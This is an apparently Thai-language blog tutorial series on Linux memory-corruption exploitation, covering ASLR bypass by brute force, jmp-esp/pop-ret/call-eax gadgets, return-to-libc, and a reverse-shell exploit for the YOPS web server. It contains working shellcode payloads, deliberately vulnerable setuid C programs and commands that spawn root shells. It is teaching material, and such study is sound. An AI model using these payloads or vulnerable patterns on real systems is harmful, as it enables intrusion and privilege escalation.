Wednesday, October 19, 2011

Defeating ASLR

ในหัวข้อนี้ ผมจะพูดถึงเรื่อง ASLR (Address Space Layout Randomization) ซึ่งเป็น kernel feature ที่ช่วย mitigrate ปัญหาเรื่อง buffer overflow โดยเมื่อ enable feature นี้ (default บน Linux ปัจจุบัน) จะทำให้ address ของ executable file (ถ้า compile ด้วย PIE option), shared objects, stack, heap (เมื่อค่า randomize_va_space เป็น 2) ถูก random เมื่อโปรแกรมเริ่มการทำงาน เรามาดูของจริงกันเลยดีกว่า

$ sudo su -c "echo 1 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
00675000-007c8000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
...
00908000-00909000 r-xp 00000000 00:00 0          [vdso]
00cd9000-00cf4000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00cf4000-00cf5000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00cf5000-00cf6000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]
b75d3000-b7612000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7742000-b7744000 rw-p 00000000 00:00 0
bfd7a000-bfd8f000 rw-p 00000000 00:00 0          [stack]
$ cat /proc/self/maps
001dd000-00330000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00330000-00331000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00331000-00333000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00333000-00334000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00334000-00337000 rw-p 00000000 00:00 0
0094b000-00966000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00966000-00967000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00967000-00968000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
009da000-009db000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat     # ค่าเดิม
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]       # ค่าเดิม
b7628000-b7667000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7797000-b7799000 rw-p 00000000 00:00 0
bfaa3000-bfab8000 rw-p 00000000 00:00 0          [stack]

จะเห็นว่า address เริ่มต้นของ shared objects และ stack นั้นเปลี่ยนไปทุกครั้ง และเมื่อเราเปลี่ยนค่า randomize_va_space เป็น 2 โดยครั้งนี้จะเห็นว่า heap address

$ sudo su -c "echo 2 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
006be000-006d9000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
006d9000-006da000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
006da000-006db000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
008ea000-00a3d000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3d000-00a3e000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3e000-00a40000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a40000-00a41000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a41000-00a44000 rw-p 00000000 00:00 0
00bcd000-00bce000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
09993000-099b4000 rw-p 00000000 00:00 0          [heap]      # เปลี่ยนแล้ว
b76e6000-b7725000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7855000-b7857000 rw-p 00000000 00:00 0
bfac9000-bfade000 rw-p 00000000 00:00 0          [stack]

ผลของ ASLR นั้น ทำให้เราไม่สามารถที่จะระบุ memory address ของ shellcode เราได้ รวมถึงเทคนิค ret2libc เพราะ libc ก็ถูกโหลดเข้า memory ใน address ที่เปลี่ยนไปเรื่อยๆ สำหรับวิธี defeat ASLR นั้นจะมีอยู่ 3 แบบหลักๆ คือ

1. Bruteforce

วิธีนี้ส่วนมากจะใช้ได้เฉพาะกับ 32-bit architecture เนื่องด้วยใน 32-bit architecture จำนวน bit ของ address ที่จะ random นั้นอย่างมากก็แค่ 24 bit แต่ implementation ส่วนมากนั้นจะ random เพียงแค่ 12-16 bit ซึ่งเป็นจำนวนที่น้อยมาก รวมทั้งการที่เราสามารถใช้ NOP sled ใหญ่ๆ ทำให้เมื่อเราเขียนทับ saved eip ด้วยค่า address หนึ่งนั้น มีโอกาสที่จะถูกสูงขึ้นมาก

เงื่อนไขอีกเงื่อนไขสำหรับวิธีนี้ คือเราต้องสามารถลองได้หลายๆ ครั้ง เช่น local exploit ที่เราสามารถเรียก execute กี่ครั้งก็ได้ เรามาดูตัวอย่างกันเลยดีกว่า โดยผมจะเอาตัวอย่างจาก "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" ซึ่งเรามี exploit อยู่แล้ว

สำหรับวิธี bruteforce ก็คือเขียนทับ saved eip ค่าเดิมไป แล้วสั่ง execute โปรแกรมไปเรื่อยๆ จนกว่า OS จะ random address ที่ทำให้ exploit เราทำงาน ดังนั้น exploit ที่เราเคยทำไปแล้วสามารถนำมาใช้ได้เลย โดยผมจะเพิ่ม NOP sled เป็น 8192 bytes เพื่อเพิ่มโอกาสถูกให้มีมากขึ้น ซึ่งเราจะได้ shell เร็วหรือช้า ก็ขึ้นอยู่ว่า OS สุ่ม address ออกมาอย่างไร

$ while [ 1 ]; do ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x8192 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`; done
Segmentation fault
Segmentation fault
Segmentation fault
...
Segmentation fault
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit
Segmentation fault
...
Segmentation fault
^C

2. Use non-randomization address

วิธีนี้คือการใช้ code ในส่วนที่ address ไม่มีการ random เพื่อกระโดดไปที่ shellcode ของเรา ซึ่งโดยปกติ compile option จะไม่มีการ enable PIE ทำให้ส่วน executable binary จะถูกโหลดไปที่ตำแหน่งเดิมของ memory เสมอ

จริงๆ แล้ววิธีนี้ไม่มีวิธีตายตัว คือทำยังไงก็ได้ ให้โปรแกรมกระโดดไปที่ shellcode ของเรา (หลังๆ จะเจอแบบนี้เรื่อยๆ นะครับ) โดยผมจะเอามาให้ดู 3 แบบที่ใช้กันบ่อยๆ เรามาดู code ตัวอย่างสำหรับวิธีนี้กันเลยดีกว่า (ex_14_1.c)

/*
gcc -fno-stack-protector -z norelro -z execstack -o ex_14_1 ex_14_1.c
sudo su -c "chown root: ex_14_1;chmod 4755 ex_14_1"
*/
#include <string.h>

void jmpesp()
{
 __asm__ ("jmp *%esp");
}

void vuln(int unused, const char *src)
{
 char buffer[64];
 strcpy(buffer, src);
}

int main(int argc, char **argv)
{
 vuln(0, argv[1]);
 return 0;
}

มาถึงหัวข้อนี้แล้ว ผมขอข้ามการอธิบายเรื่องช่องโหว่ของโปรแกรม โดยจากโปรแกรมนี้ เราต้องเขียนข้อมูลไปก่อน 76 ตัวแล้วเราจึงค่อยเขียนทับ saved eip ดังนั้น exploit ข้างล่างคือทำให้ eip กระโดดไปทำงานที่ 0x55555555

$ ./ex_14_1 `perl -e 'print "A"x76,"UUUU"'`

ใช้ jmp esp

เนื่องด้วยหลังคำสั่ง ret โปรแกรมจะ pop ค่า saved eip จาก stack ทำให้ stack pointer (esp) ชี้ไป address ถัดไปจากที่เก็บ saved eip ดังนั้นถ้าเราเขียนทับ saved eip เพื่อให้กระโดดไปทำงานที่คำสั่ง jmp *%esp โปรแกรมก็จะกระโดดไปที่ address หลังที่เก็บ saved eip ซึ่งถ้าเราวาง shellcode ของเราไว้หลัง saved eip ที่เราเขียนทับ โปรแกรมก็จะทำงาน shellcode ของเรา

ส่วนวิธีการหา jmp *%esp ใน binary นั้นอาจใช้ objdump ก็ได้ แต่คราวนี้ผมจะใช้ msfelfscan เพื่อหา address

$ msfelfscan -j esp ex_14_1
[ex_14_1]
0x080483c7 jmp esp

เมื่อได้ address มาแล้ว exploit ของเราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "A"x76,"\xc7\x83\x04\x08","\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
#

ใช้ pop* ret

แนวคิดของวิธีนี้คือ ใช้ค่า address ของ shellcode ที่เก็บไว้ใน stack หลัง saved eip ไม่ไกลมาก ซึ่งส่วนมากเราจะใช้วิธีนี้ได้เมื่อมีการส่ง pointer ที่ชี้ไปยัง shellcode เป็น argument ของ function ที่มีช่องโหว่ หรือ function ที่เรียก function ที่มีปัญหามีการใช้ pointer ที่ชี้ไปยัง shellcode ดังนั้นเมื่อเรา pop ข้อมูลออกจาก stack จน stack pointer (esp) นั้นชี้ไปที่เก็บ address ของ shellcode แล้วสั่ง ret โปรแกรมก็จะกระโดดไปที่ shellcode ของเรา

ที่ผมใช้ pop* นั้นหมายถึง อาจจะไม่จำเป็นต้อง pop ก็ได้ หรืออาจจะต้องใช้ pop หลายๆ ครั้ง โดยในตัวอย่างข้างบนนั้น จะเห็นว่า pointer ที่ชี้ไปยัง shellcode ของเรานั้นเป็น argument ที่ 1 ของ vuln() ดังนั้นเราต้องใช้ pop 1 ครั้ง แล้วตามด้วยคำสั่ง ret และผมจะใช้ msfelfscan ในการหาอีกครั้ง

$ msfelfscan -p ex_14_1
[ex_14_1]
0x08048392 pop ebx; pop ebp; ret
0x08048477 pop edi; pop ebp; ret
0x080484a7 pop ebx; pop ebp; ret

จะเห็นว่า msfelfscan นั้นมีแต่ option ให้หา pop+pop+ret ซึ่งเป็นวิธีหลักสำหรับการเขียน exploit บน Windows แบบ SEH based เพราะว่า address ที่โปรแกรมจะกลับไปทำงานหลังทำงานใน Exception Handler นั้นเป็น argument ที่ 3 ของ Exception Handler function ดังนั้นเวลาที่ใช้ option นี้กับตัวอย่างของเรา เราต้องบวก address ไปอีก 1 ดังนั้น address ที่เราจะใช้คือ 0x08048393 และ exploit เราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\x93\x83\x04\x08"'`
#

ใช้ jmp eax

แนวคิดของวิธีนี้ก็คือ เวลา function จะ return ค่านั้นจะทำการ set eax เป็นค่าที่จะ return ดังนั้นถ้า eax เป็น address ของ shellcode เราจะสามารถใช้วิธีนี้ได้ ในตัวอย่างข้างบนนั้น จะเห็นว่า vuln() นั้นไม่มีการ return ค่า แต่ strcpy() นั้นจะ return address ของ dst ทำให้ eax ชี้ไปที่ address ของ buffer และจบ function โดยไม่มีการเปลี่ยนค่า eax

เมื่อเข้าใจกันแล้ว ก็มาหา address ของ jmp eax

$ msfelfscan -j eax ex_14_1
[ex_14_1]
0x080483bf call eax
0x0804849b call eax

จะเห็นว่า msfelfscan นั้นเจอเป็น call eax ซึ่งจริงๆ ผลลัพธ์นั้นเหมือนกัน คือโปรแกรมกระโดดไปที่ eax ชี้อยู่ และจริงๆ แล้วไม่จำเป็นต้องเป็น eax จะเป็น register ไหนก็ได้ ของเพียงแค่ว่าเราหา jmp ไปหา register นั้นใน executable ได้หรือเปล่า แต่ที่ผมใช้เป็น eax ให้หัวข้อ เพราะมันมีอยู่ในทุกๆ executable

ได้ address มาแล้ว exploit ก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\xbf\x83\x04\x08"'`
#

ได้เห็นทั้ง 3 แบบไปแล้ว สิ่งที่ผมอยากจะให้สังเกตอีกอย่างคือ วิธีนี้ยังทำให้ exploit ที่เราเขียนนั้นมีทำงานเสมอไม่ว่าเราจะเอา binary นี้ไปรันบน Linux distribution ไหน exploit เราก็จะทำงานได้เสมอ

3. Information leak

วิธีนี้คือใช้ช่องโหว่อีกช่องโหว่ของโปรแกรม (บางครั้งเป็นช่องโหว่เดียวกัน) เพื่อที่จะให้โปรแกรมแสดงข้อมูลภายในที่โปรแกรมไม่ตั้งใจให้แสดงเช่น memory address

ช่องโหว่สำหรับ information leak ที่เคยเจอกันแล้วคือ format string bug ส่วนแบบอื่นที่พบบ่อยๆ คือเราสามารทำให้โปรแกรมแสดงข้อมูลที่ไม่ได้ initialize แต่ส่วนมากการเขียน exploit ที่ต้องใช้ช่องโหว่ information leak ช่วยนั้นจะค่อนข้างซับซ้อน ผมจึงขอแสดงตัวอย่างไว้ทีหลัง


Reference:
- Address space layout randomization - Wikipedia, the free encyclopedia
- Linux kernel ASLR Implementation
- ASLR Smack & Laugh Reference

Saturday, September 10, 2011

Basic Return-to-libc

จากตัวอย่างก่อนหน้านี้ทั้งหมด จะเห็นว่าเราได้มีการ inject shellcode ไว้ใน stack แล้วทำให้ eip ชี้ไปที่ shellcode ของเราใน stack ซึ่งโปรแกรมปกติจะไม่มีการ execute code ใน stack อยู่แล้ว ทำให้เกิดมีการทำ Non-Executable Stack โดยเริ่มต้นทำเฉพาะส่วนของ stack ไม่สามารถ execute code ได้ ซึ่งต่อมาได้มีการทำ Non-Executable (NX) ในส่วนอื่นๆ ที่ไม่จำเป็นต้องมี execution permission ด้วย เช่น .bss, heap เป็นต้น

ในหัวข้อนี้ เราจะมีดูวิธีการ bypass เมื่อมีการ enable NX ด้วย return-to-libc (ret2libc) ซึ่งจากตัวอย่างแรก (ex_13_1.c) โดยเราจะ compile ทั้งสองแบบและดู process maps

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_13_1 ex_13_1.c
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_1_nx ex_13_1.c
*/
#include <stdio.h>
int main(int argc, char **argv)
{
 getchar();
    return 0;
}
$ ./ex_13_1 &
[1] 2020
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r-xp 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rwxp 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00131000 rwxp 00000000 00:00 0
00140000-00293000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00293000-00294000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00294000-00296000 r-xp 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00296000-00297000 rwxp 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00297000-0029b000 rwxp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
08049000-0804a000 rwxp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1
$ fg
./ex_13_1

$ ./ex_13_1_nx &
[1] 2024
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00281000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00281000-00282000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00282000-00284000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00284000-00285000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00285000-00288000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
08049000-0804a000 rw-p 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
b7fed000-b7fee000 rw-p 00000000 00:00 0
b7ffd000-b8000000 rw-p 00000000 00:00 0
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1_nx
$ fg
./ex_13_1_nx

เมื่อเอา option "-z execstack" ออก เราจะเห็นว่า segment ไหนที่ไม่ใช่ code จะไม่ executable และถ้าเราลองเอา option นี้ออกในตัวอย่างเก่าๆ ออก จะเห็นว่า exploit ของเราไม่ทำงานแม้แต่อันเดียว เนื่องด้วยเราแก้ไขค่า eip ให้ไปที่ stack ที่ไม่สามารถ execute ได้ ทำให้เกิน segmentation fault

คนแรกที่อธิบายวิธี ret2libc ที่ใช้ bypass NX คือ Solar Designer ซึ่งผมได้ใส่ไว้ใน reference โดยผมจะอธิบายวิธีไม่ตรงกับใน paper ซะทีเดียว แต่หลักการเดียวกัน เพื่อให้ง่ายในการไปต่อให้หัวข้อถัดๆ ไป

concept ของ ret2libc คือแทนที่เราจะใส่ shellcode ที่เป็น system call เพื่อเรียก execve หรืออะไรก็แล้วแต่ เราก็ไปเรียก execve function (หรือ function อะไรก็ได้) ใน libc เลย ซึ่งส่วนนี้ยังไงก็ต้อง executable ส่วนวิธีที่จะเรียก function ใน libc นั้น ก็ต้องกลับไปดูที่เรื่อง "Function กับ Stack" ซึ่งเมื่อโปรแกรมทำคำสั่ง call แล้วเข้าไปใน function หรือตอนที่จบ function โปรแกรมกำลังจะทำคำสั่ง ret จะมี stack ดังนี้

จากตัวอย่างที่ผ่านมา เวลาเราทำ stack based buffer overflow เราจะเขียนทับ saved eip ไปที่ shellcode ของเรา แต่คราวนี้ถ้าเราเขียนทับ saved eip ไปที่ execve function ใน libc ซึ่งเมื่อโปรแกรมทำงานคำสั่ง ret ก็จะ pop ค่าใน stack เป็น eip แล้วเข้าไปใน execve function ซึ่งจะมี stack layout สำหรับ execve function เป็นดังนี้

จะเห็นว่า execve จะมองค่า arg2, arg3 และ arg4 ในรูปแรกเป็น function argument ที่ 1,2,3 ตามลำดับ ดังนั้นเวลาเราทำ overflow หลังจากเราเขียนทับ saved eip ด้วย address ของ execve function ใน libc แล้ว เราสามารถเขียนทับต่อเพื่อกำหนด arg1 เป็น address ของ "/bin/sh" และ arg2 กับ arg3 เป็น address ที่มีค่าเป็น 0 โปรแกรมก็จะทำงาน execve("/bin/sh", NULL, NULL) ซึ่งเทียบเท่ากับ spawn shell

เรื่อง exploit จะให้เข้าใจจริงๆ ต้องมีการลองทำ ดังนั้นเรามาดูตัวอย่างกันเลยดีกว่า (ex_13_2.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_2 ex_13_2.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void readfile(const char *filename)
{
    FILE *fp;
    unsigned short len;
    char buffer[2048];
    
    fp = fopen(filename, "rb");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file\n");
        exit(1);
    }
    
    fread(&len, 2, 1, fp);
    fread(buffer, 1, len, fp);
    fclose(fp);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
        return 1;
    }
    readfile(argv[1]);
    return 0;
}

ตัวอย่างนี้ โปรแกรมทำการอ่านไฟล์ โดยจะอ่าน 2 bytes แรกของไฟล์เพื่อให้รู้ว่าต้องอ่านข้อมูลต่ออีกกี่ byte ซึ่งเห็นปัญหาได้ชัดเจนว่าถ้าเราใส่ให้ len มีขนาดมากกว่า 2048 จะทำให้เกิด buffer overflow และเนื่องด้วยในตัวอย่างนี้ใช้ fread() ทำให้ไม่มี badchar

ก่อนอื่นเรามาทำให้โปรแกรม crash ก่อนดีกว่า โดยผมจะใส่ค่า A ใน buffer และที่เหลือเป็นค่าอื่น เพื่อให้เห็นว่าตำแหน่ง saved eip อยู่ห่างจาก buffer เท่าไร

$ ulimit -c unlimited
$ perl -e 'print "\xff\x1f","A"x2048,"BBBB","CCCC","DDDD","EEEE","FFFF","GGGG"' > ex_13_2_expl
$ ./ex_13_2 ex_13_2_expl
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
#1  0x080485c3 in readfile ()
#2  0x47474646 in ?? ()
#3  0xbfff4747 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/4x $ebp      # ดู fclose argument
0xbfffeed8:     0xbffff708      0x080485c3      0x43434242      0x00000001
(gdb) info frame 1
Stack frame at 0xbffff710:
 eip = 0x80485c3 in readfile; saved eip 0x47474646
 called by frame at 0xbffff714, caller of frame at 0xbfffeee0
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c

จากการตรวจสอบ core file จะเห็นว่าโปรแกรมไม่ได้ crash เพราะเรา overwrite saved eip แต่ไป crash ใน fclose() function ที่เรียกจาก readfile() function และเมื่อดู argument ของ flose() จะเห็นว่าค่า fp คือ 0x43434242 แสดงให้เห็นว่าตำแหน่งที่เก็บ fp นั้นอยู่ระหว่าง buffer กับ saved eip

ก่อนอื่นเรามาดู offset ของค่าต่างๆ ที่สำคัญก่อน ค่าแรกคือ fp ซึ่งต้องเขียนไปก่อน 2050 bytes และ saved eip จะอยู่หลัง fp ไป 12 bytes

ส่วนวิธีจัดการกับปัญหา fclose() ง่ายๆ คือใส่ค่าเดิมลงไป ซึ่งจะเหมือนเดิมทุกครั้งที่รันโปรแกรม เนื่องจากเรายังไม่มีการ enable ASLR (จะกล่าวถึงในหัวข้อถัดไป) ส่วนอีกวิธีคือให้สร้าง FILE struct ปลอมใน buffer แล้วแก้ fp ให้ชี้ไปที่ FILE struct ของเรา (วิธีนี้ผมไม่ทำนะครับ เพราะไม่เกี่ยวกับหัวข้อนี้) ดังนั้นเราต้องหาค่าของ fp ก่อนที่จะโดนเขียนทับก่อน

$ gdb -q ./ex_13_2
(gdb) disass readfile
Dump of assembler code for function readfile:
   0x08048514 <+0>:     push   %ebp
...
   0x080485b8 <+164>:   mov    -0xc(%ebp),%eax
   0x080485bb <+167>:   mov    %eax,(%esp)
   0x080485be <+170>:   call   0x80483f4 <fclose@plt>
   0x080485c3 <+175>:   leave
   0x080485c4 <+176>:   ret
End of assembler dump.
(gdb) b *0x080485be
Breakpoint 1 at 0x80485be
(gdb) r ex_13_1.c
Starting program: /home/worawit/tutz/ch13/ex_13_2 ex_13_1.c

Breakpoint 1, 0x080485be in readfile ()
(gdb) x/x $ebp-0xc
0xbffff6dc:     0x0804a008

เราได้ address มาแล้วคือ 0x0804a008 คราวนี้ลองใหม่

$ perl -e 'print "\xff\x1f","A"x2050,"\x08\xa0\x04\x08","B"x12,"CCCC","DDDD","ARG1","ARG2","ARG3"' > ex_13_2_exp2
$ ./ex_13_2 ex_13_2_expl2
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
#0  0x080485c4 in readfile ()   # crash ที่คำสั่ง ret
(gdb) x/8x $esp   # check saved eip และค่าอื่นๆ
0xbffff71c:     0x43434343      0x44444444      0x31475241      0x32475241
0xbffff72c:     0x33475241      0x08048620      0x00000000      0xbffff7b8
(gdb) print execve    # หา address ของ execve ใน libc
$1 = {} 0x1c6040 

ตอนนี้ก็เหลือแค่หา address ของ "/bin/sh" กับ NULL ซึ่งจริงๆ แล้วใน env จะมี "/bin/bash" อยู่แล้ว แต่เราก็สามารถใส่ไว้ใน buffer ก็ได้โดยถ้าเราใส่ '/' นำหน้าเยอะๆ ก็จะทำให้โอกาสที่ argument1 ชี้ไปที่ string ที่เสมือน "/bin/sh" สูงขึ้น โดยผมจะประมาณไว้ที่ 0xbffff5a0 ส่วน NULL ผมจะใช้ address 0x08049f50

$ perl -e 'print "\xff\x1f","/"x1993,"bin/sh\x00","A"x50,"\x08\xa0\x04\x08","B"x12,"\x40\x60\x1c\x00","CCCC","\xa0\xf3\xff\xbf","\x50\x9f\x04\x08"x2' > ex_13_2_expl3
$ ./ex_13_2 ex_13_2_expl3

ก่อนจะจบ ถ้าย้อนกลับไปดูรูปที่ 2 จะเห็นว่า ถ้าเราไม่ใช้ execve แต่ใช้เป็น function อื่น ที่มีการ return ค่า เรายังสามารถควบคุม eip ได้อยู่หลังจากจบ function เพราะ saved eip นั้นได้ถูกเลื่อนลงมา ซึ่งจะนำมาใช้ประโยชน์อะไร ผมจะพูดถึงในหัวข้อหลังจากนี้นะครับ


Reference:
- http://insecure.org/sploits/linux.libc.return.lpr.sploit.html

Saturday, May 14, 2011

ที่ถามคำถาม

เนื่องด้วยใน blog นี้ไม่เหมาะกับการถามตอบข้อสงสัย ผมได้ขอยืมพื้นที่ของ Blackbuntu Board จาก c1ph3r ซึ่งอยู่ในส่วน "Cyber Guide" ถ้าใครสงสัยอะไรก็ไปถามที่นั้นได้นะครับ แต่ขอให้ถามเกี่ยวกับที่ผมเขียนในนี้นะครับ :)

Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ

จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก

ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) ex12_yops2_1.rb

โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ

การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ

# fork()
xorl %eax,%eax
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
# parent

child:
# child (our reverse shellcode here)

ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน swebs_record_log function ก่อน

$ gdb ./swebs
...
(gdb) b swebs_record_log
Breakpoint 1 at 0x804a7d8: file swebs.c, line 545.
(gdb) r
...
Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545
545             memset(logrec, 0, sizeof(logrec));
(gdb) bt  # ดู call stack
#0  swebs_record_log (log=5, job=0x804f198) at swebs.c:545
#1  0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382
